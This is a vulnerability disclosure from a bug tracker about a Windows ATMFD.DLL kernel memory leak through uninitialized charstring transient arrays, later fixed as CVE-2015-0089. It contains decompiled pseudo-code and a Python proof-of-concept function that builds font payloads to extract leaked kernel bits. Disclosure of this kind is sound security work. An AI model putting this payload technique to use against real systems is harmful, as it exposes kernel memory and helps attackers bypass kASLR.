New issue
Advanced search Search tips
Starred by 3 users

Issue metadata

Status: Fixed
Closed: Apr 2015

Sign in to add a comment

Issue 176: Windows Kernel ATMFD.DLL kernel pool memory disclosure via uninitialized transient array

Reported by, Nov 19 2014 Project Member

Issue description

The "transient array" specified in the "Type 2 Charstring format" specs [1] but also available in Type1 fonts [2] (originally for the purpose of facilitating Multiple Master fonts) is allocated dynamically only if the ATMFD.DLL interpreter encounters an instruction which requires the presence of the array, such as "get" or "store", as seen below in Hex-Rays decompiled pseudo-code:

if ( !font->BuildCharArray )
  v90 = *(v400 + 24);
  AtmfdAlloc = **v90;
  if ( AtmfdAlloc )
    v92 = AtmfdAlloc(v90, 4 * font->lenBuildCharArray);
    v88 = font;
    font->BuildCharArray = v92;
    v88 = font;
  if ( !v88->BuildCharArray )
      "%s:%d: %s (%s)\n",
      "stack underflow in Get othersubr",
    goto label_error;

While allocating the array, however, the routine does not automatically clear the contents of the newly created buffer. If a reading PostScript instruction is then used to access an item in the array that has not been previously initialized, it is possible to leak data from the transient array into other structures (such as the operand stack) and further disclose it to user-mode by rendering outlines according to the uninitialized data. The possibility of such scenario is even mentioned in the [1] specification:

"If *get* is executed prior to *put* for /i/ during execution of the current charstring, the value returned is undefined."

The instructions which make it possible to create an uninitialized allocation are as follows:

1) escape + callothersubr + storewv
2) escape + callothersubr + put(2)
3) escape + put
4) escape + callothersubr + get
5) escape + get
6) escape + load
7) escape + store

However, the only ones that can be used to read uninitialized memory are:

1) escape + callothersubr + get and escape + get: load a 32-bit value to the operand stack.
2) escape + load: loads a 32-bit value into the "Registry object" (documented in "The Type 2 Charstring Format, 5 May 1998").

The bug is reproducible with Type1 and OTF fonts. In case of Type1, the length of the transient array (and thus the size of the pool allocation) can be controlled by a "/lenBuildCharArray" dictionary item up to 65535, while in OTF the transient array is always 32 elements long (see the "Appendix B: Type 2 Charstring Implementation Limits" section of [1]).

All editions of Windows up to 8.1 are affected, regardless of bitness. The bug can be used locally to disclose portions of the kernel pool memory, which can facilitate defeating kASLR, or leak sensitive information stored within the kernel space to an unprivileged user. Since the issue is reproducible with OpenType fonts, remote attack vectors might also be possible via web browsers or document viewers, should they use GDI for font rendering. However, we haven't confirmed any such attack vectors at the time of this writing.

Attached is a Proof of Concept OTF font. Glyphs of letters 'a'-'z' are designed to disclose 128 bytes of kernel memory each by rendering each bit as a black 64x64 units square if the bit is set, or a white one if it is cleared. Therefore, each glyph is a 2048x2048 unit shape, with each of the 32 leaked DWORDs being represented as a separate column. The extraction of respective bits from a 32-bit value is not trivial with Type1/2 CharString instructions, but is possible with the help of multiple arithmetic and conditional instructions. The following is a Python function building a CharString payload to extract a specified bit off a specified leaked DWORD, used to create the attached POC font. Full source code of the script will be released at a later time. The CharString for letter 'a' uses the same visual structure to render bytes "aa aa aa aa 55 55 55 55 aa aa aa aa 55 [...]", which can be used for calibration of a potential algorithm reading pixels back.

def leak_bit(dword, bit):
  # Leak a complete dword to the operand stack.
  payload = enc(dword) + cf2_cmdESC_GET

  # Because of signed arithmetic, we must handle the MSB separately.
  if bit == 31:
    payload += enc(0) + enc(1) + enc(0) + enc(3) + cf2_cmdESC_INDEX + cf2_cmdESC_IFELSE + cf2_cmdESC_EXCH + cf2_cmdESC_DROP
    # If the value is negative, flip the MSB for all further calculations.
    payload += enc(0) + enc_dword(2 ** 31) + enc(0) + enc(3) + cf2_cmdESC_INDEX + cf2_cmdESC_IFELSE + cf2_cmdESC_SUB

    # Subtract all bits more significant than the one we're leaking.
    for i in range(30, bit, -1):
      payload += enc(0) + enc_dword(2 ** i) + enc(2) + cf2_cmdESC_INDEX + enc_dword((2 ** i) - 1) + cf2_cmdESC_IFELSE + cf2_cmdESC_SUB

    # Return the specific bit by performing a 32-bit comparison.
    payload += enc(0) + enc(1) + enc(2) + cf2_cmdESC_INDEX + enc_dword((2 ** bit) - 1) + cf2_cmdESC_IFELSE + cf2_cmdESC_EXCH + cf2_cmdESC_DROP

  return payload

The result of opening the file with Windows Font Viewer on a fully updated Windows 7 SP1 64-bit is shown in the attached screenshot.

[1] "The Type 2 Charstring Format, Technical Note #5177, 16 March 2000",
[2] "The Compact Font Format Specification, Technical Note #5176, Version 1.0, 18 March 1998",
1.5 MB Download
22.9 KB View Download

Comment 1 by, Nov 19 2014

Project Member
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

Comment 2 by, Dec 4 2014

Project Member
Labels: -Product-Windows Product-Kernel

Comment 3 by, Dec 11 2014

Project Member
Labels: Reported-2014-Dec-10 MSRC-21198

Comment 4 by, Feb 6 2015

Project Member
Status: Accepted
I'll handle this one.

Comment 5 by, Feb 6 2015

Project Member
Status: New
Accidentally misclicked.

Comment 6 by, Mar 24 2015

Project Member
Labels: CVE-2015-0089

Comment 7 by, Apr 1 2015

Status: Fixed

Comment 8 by, Apr 20 2015

Project Member
Labels: Fixed-2015-Mar-10

Comment 9 by, Jun 12 2015

Project Member
Labels: -Restrict-View-Commit

Sign in to add a comment